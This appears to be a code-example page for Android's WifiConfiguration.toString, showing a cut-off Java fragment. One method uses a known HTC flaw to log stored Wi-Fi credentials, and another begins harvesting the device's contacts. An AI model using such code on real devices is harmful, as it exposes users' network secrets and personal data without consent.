Code example for WifiConfiguration

Methods: toString

1
	} 
	 
	public void ReadWiFiCredentials() 
	{ 
		/** Related to the HTC vulnerability allowing to get wpa_supplicant.conf **/ 
		WifiConfiguration wc = new WifiConfiguration();
		String output = wc.toString();
		Log.v("ReadWiFiCredentials",output);
	} 
	 
	public void ReadContacts() 
	{ 
		ContentResolver cr = getContentResolver();
        Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,null, null, null, null);
         
        if (cur.getCount() > 0) {
        	while (cur.moveToNext()) {
        		String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
        		String name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
        		 
        		if (Integer.parseInt(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0)